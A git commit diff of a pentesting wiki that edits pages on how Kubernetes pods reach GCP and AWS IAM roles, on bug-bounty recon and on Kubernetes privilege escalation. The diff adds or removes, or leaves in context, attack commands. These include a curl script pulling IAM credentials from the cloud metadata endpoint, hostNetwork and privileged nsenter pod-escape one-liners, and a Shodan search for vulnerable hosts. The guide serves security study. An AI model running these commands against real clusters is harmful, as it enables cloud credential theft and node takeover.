GitBook: [#2956] No subject
This commit is contained in:
CPol
gitbook-bot
parent
6e8c7a1083
commit
d9b169f038
|
|
@ -42,7 +42,7 @@ metadata:
|
|||
* Create the KSA - GSA Binding:
|
||||
|
||||
```bash
|
||||
gcloud iam service-accounts \
|
||||
gcloud iam service-accounts add-iam-policy-binding \
|
||||
--role roles/iam.workloadIdentityUser \
|
||||
--member "serviceAccount:PROJECT-ID.svc.id.goog[$NAMESPACE/$KSA-NAME]" \
|
||||
$GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
|
||||
|
|
@ -61,93 +61,28 @@ This is a script to easily **iterate over the all the pods** definitions **looki
|
|||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
|
||||
kubectl get pods -n "$ns" -o yaml | grep "iam.gke.io/gcp-service-account"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
done | grep -B 1 "gcp-service-account"
|
||||
done
|
||||
```
|
||||
|
||||
## AWS
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
###  Workflow of IAM role for Service Accounts: <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
|
||||
|
||||
|
||||
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
|
||||
|
||||
{% code title="Kiam" %}
|
||||
```yaml
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: iam-example
|
||||
annotations:
|
||||
iam.amazonaws.com/permitted: ".*"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="Kube2iam" %}
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
annotations:
|
||||
iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
|
||||
|
||||
{% code title="Kiam & Kube2iam" %}
|
||||
```yaml
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: foo
|
||||
namespace: external-id-example
|
||||
annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
|
||||
{% endhint %}
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
{% hint style="info" %}
|
||||
The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
|
||||
{% endhint %}
|
||||
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
annotations:
|
||||
iam.amazonaws.com/role: transaction-metadata
|
||||
name: alpine
|
||||
namespace: eevee
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
|
||||
### Workflow of IAM role for Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
This is the recommended way by AWS.
|
||||
|
||||
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Then you create an IAM role with the permissions the SA will require.
|
||||
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts-technical-overview.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
|
||||
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. When you launch an application on kubernetes with `kubectl apply -f application-job.yaml`, the yaml manifest is submitted to the API server with the Amazon EKS Pod Identity webhook configured.
|
||||
2. Kubernetes uses the service account set via serviceAccountName
|
||||
3. Since the **service account has the annotation passed "eks.amazonaws.com/role-arn"** in `serviceaccount.yaml` the webhook injects the necessary environment variables (**AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN**) and sets up aws-iam-token projected volumes.
|
||||
4. When application calls out to s3 to do any s3 operations the AWS SDK we use in the application code base performs STS **assume role** with web identity performs assume role that has s3 permissions attached. It receives temporary credentials that it uses to complete the S3 operation.
|
||||
|
||||
(You can find an example of this configuration [here](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/))
|
||||
|
||||
Just like with GCP an **annotation** is needed to relate the KSA with the IAM role:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
|
|
@ -157,60 +92,25 @@ metadata:
|
|||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
|
||||
As an attacker, if you can enumerate a K8s cluster, check for **pods with that annotation** as you could manage to **escalate to AWS**.
|
||||
|
||||
Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
|
||||
|
||||
****
|
||||
{% endhint %}
|
||||
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
|
||||
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
|
||||
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "eks.amazonaws.com/role-arn"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "SA: $ns/$sa"
|
||||
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
done | grep -B 1 "amazonaws.com"
|
||||
done
|
||||
```
|
||||
|
||||
### Node IAM Role
|
||||
|
||||
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
|
||||
|
||||
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
|
||||
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
|
||||
### Steal IAM Role Token
|
||||
|
||||
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
|
||||
|
||||
You can use the following script to **steal** your new hard worked **IAM role credentials**:
|
||||
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
echo "IAM Role discovered: $IAM_ROLE_NAME"
|
||||
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
|
||||
echo "Credentials:"
|
||||
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
|||
|
|
@ -116,6 +116,12 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
|
||||
|
||||
Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**:
|
||||
|
||||
```bash
|
||||
hodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
||||
### Other ways
|
||||
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
|
|
@ -308,7 +314,7 @@ To perform the proposed idea you can use [**EyeWitness**](https://github.com/For
|
|||
|
||||
## Cloud Assets
|
||||
|
||||
Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.**
|
||||
Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.**
|
||||
|
||||
## Recapitulation 1
|
||||
|
||||
|
|
@ -331,7 +337,7 @@ Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not goin
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth_key](https://searchcode.com/?q=auth_key)
|
||||
You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth\_key)
|
||||
|
||||
## [**Pentesting Web Methodology**](../pentesting/pentesting-web/)
|
||||
|
||||
|
|
|
|||
|
|
@ -40,7 +40,7 @@ rules:
|
|||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
|
||||
### Pod Create - Steal Token
|
||||
### Pod Creation - Steal Token
|
||||
|
||||
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
|
||||
|
||||
|
|
@ -77,7 +77,7 @@ So just create the malicious pod and expect the secrets in port 6666:
|
|||
|
||||
.png>)
|
||||
|
||||
### **Pod Create & Escape - Mount Root**
|
||||
### **Pod Creation & Escape - Mount Root**
|
||||
|
||||
Having Pod create permissions over kube-system you can also be able to mount directories from the node hosting the pods with a pod template like the following one:
|
||||
|
||||
|
|
@ -155,7 +155,7 @@ And capturing the reverse shell you can find the `/` directory (the entire files
|
|||
chroot /rootfs /bin/bash
|
||||
```
|
||||
|
||||
### Pod Create & Escape - Get into root pid ns
|
||||
### Pod Creation & Escape - Get into root pid ns
|
||||
|
||||
From [this tweet](https://twitter.com/mauilion/status/1129468485480751104) you can find a way to escape from the pod and get inside the root ns
|
||||
|
||||
|
|
@ -163,17 +163,6 @@ From [this tweet](https://twitter.com/mauilion/status/1129468485480751104) you c
|
|||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
|
||||
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sniffing **with a sidecar proxy app**
|
||||
|
||||
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
|
||||
|
|
|
|||
Loading…
Reference in New Issue